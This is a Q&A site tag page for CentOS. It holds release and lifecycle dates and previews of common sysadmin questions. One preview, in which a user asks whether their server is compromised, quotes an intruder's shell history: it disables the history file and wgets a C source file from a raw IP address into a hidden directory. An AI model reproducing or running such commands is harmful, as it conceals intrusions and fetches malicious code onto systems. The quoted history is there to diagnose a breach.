Questions tagged [centos]

CentOS is a free (as in beer and speech) GNU/Linux distribution that is community driven and based on source code released from RedHat.

CentOS is a free (as in beer and speech) GNU/Linux distribution that is community driven and based on source code released from RedHat. CentOS aims to be 100% binary compatible with RedHat Enterprise Linux. CentOS mainly changes packages to remove upstream vendor branding and artwork.

Support & Lifecycle

Each CentOS version is maintained for up to 10 years and a new version is released approximately every 2 years.

+----------+-------------- +---------------+---------------------+
|  Version | Release date  |  Full updates | Maintenance updates |
+----------+---------------+---------------+---------------------+
| 3        | 19 March 2004 | 20 July 2006  |31 October 2010      |
| 4        | 9 March 2005  | 31 March 2009 |29 February 2012     |
| 5        | 12 April 2007 | Q1 2014       |31 March 2017        |
| 6        | 10 July 2011  | Q2 2017       |30 November 2020     |
| 7        | 7 July 2014   | Q4 2020       |30 June 2024         |
+----------+---------------+---------------+---------------------+

External Resources:

10680 questions
20
votes
4 answers

How do I find out the recent SSH logins for Centos and their IP address?

It seems someone logged into my dev server with root password and did a whole bunch of destruction. How do I check the recent logins and their IP address on Cent OS ? Thanks.
George Smith
12
votes
2 answers

Can't change the keyboard layout on Centos 7

I have been stuck with this problem for hours now and this is getting really frustrating. I have installed Centos 7.0.1406 on Oracle Virtualbox and during the installation I chose Norwegian keyboard layout because I have a norwegian keyboard. The…
Alex
  • 301
11
votes
2 answers

Linux SSH Timeout

I have been struggling with a couple system timing out after X minutes of inactivity and not sure how to fix it. I have a CentOS box at my office. Connect to SSH can not touch it for 2 hours and its still live when i run something. However connect…
10
votes
6 answers

Is my web server being compromised?

We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following: unset HISTFILE mkdir /usr/lib/tmp cd /usr/lib/tmp wget http://188.72.217.17/mzb.c -o…
8
votes
2 answers

a2ensite equivalent in CentOS

I already setup a conf for a site in the /etc/httpd/sites-available. However, I am wondering how can I enable this, like a2ensite in Debian, wherein the conf file will appear in the sites-enabled?
8
votes
2 answers

What is meant by mount point does not exist?

I have a few servers which i need to mount a windows server directory to it I using the following command: # mount -t cifs //ntserver/download -o username=vivek,password=myPassword /mnt/ntserver There are no issue with most servers. However I…
frrrvr
7
votes
3 answers

Simple way of blocking a program on CentOS 6?

One of our user has been compiling their own program within their home directory. Normally we don't mind, but this particular program has a memory leak and eats into the SWAP. We have told this user many times not to run the program and yet she…
lbanz
  • 1,609
7
votes
2 answers

Centos went read only suddenly, on vmware....scary

I have a virtual Centos 5.6 on VmWare. SUDDENLY, it stopped working and it seems the file systems went read only. cat /proc/mounts rootfs / rootfs rw 0 0 /dev/root / ext3 ro,data=ordered 0 0 ... It seems here that's a known "problem". But I tried…
Glasnhost
  • 651
  • 4
  • 11
  • 22
6
votes
1 answer

Convert exisiting CentOS install to a LiveCD

I would like to create an image of my existing CentOS from hard drive to a livecd. I don't want to customize an installation cd, because I have many installed software which does not have RPM's. I kind of know how to do it Debian, but I am clueless…
oz123
  • 1,298
5
votes
4 answers

Are there separate desktop and server versions of CentOS?

I am transitioning from Ubuntu to CentOS. Whereas Ubuntu has separate desktop and server versions, I see only one version of CentOS. It seems to have a GUI. Is there any stripped down version version of CentOS for CLI-only applications?
5
votes
6 answers

How to configure CentOS Iptables without getting locked out

I am trying to apply these firewall rules: /sbin/iptables -F /sbin/iptables -X /sbin/iptables -Z /sbin/iptables -P INPUT DROP /sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT /sbin/iptables -A INPUT -p tcp ! --syn -j REJECT…
5
votes
7 answers

Why are most linux servers running CentOS?

I have been using Ubuntu for more than two years, and as I check more and more web servers I'm discovering that they are using CentOS. Is there any particular reason why this is the case?
Naveen
4
votes
1 answer

CentOS 6.3. Update from mininstall to full edition

I want to install CentOS on my laptop. And DVD .iso images requre 4+gb flash drive, but I have flash drive only with 2gb. So it is possible to download only mininstall edition, and then upgrade it to "full" edition of CentOS 6.3?
MyTitle
  • 571
3
votes
1 answer

Stop showing output from command in background

I have a 1 liner that will write the output of a telnet session to a file. while sleep 5; do sleep 1 | telnet 11.22.33.44 443 | tee -a /var/tmp/test$(date +%Y%m%d).txt && date >> /var/tmp/test$(date +%Y%m%d).txt; done & I do not want to see the…
3
votes
1 answer

huge pages header file on centos is zero bytes

I am trying to use the huge page API in Linux CentOS, the header file hugetlbfs.h is empty (i.e.: it exists, but it is zero bytes). /usr/src/kernels/2.6.32-358.14.1.el6.x86_64/include/config/hugetlbfs.h Does anyone have a solution? Alternatively,…
sacasc
  • 31
1
2 3
13 14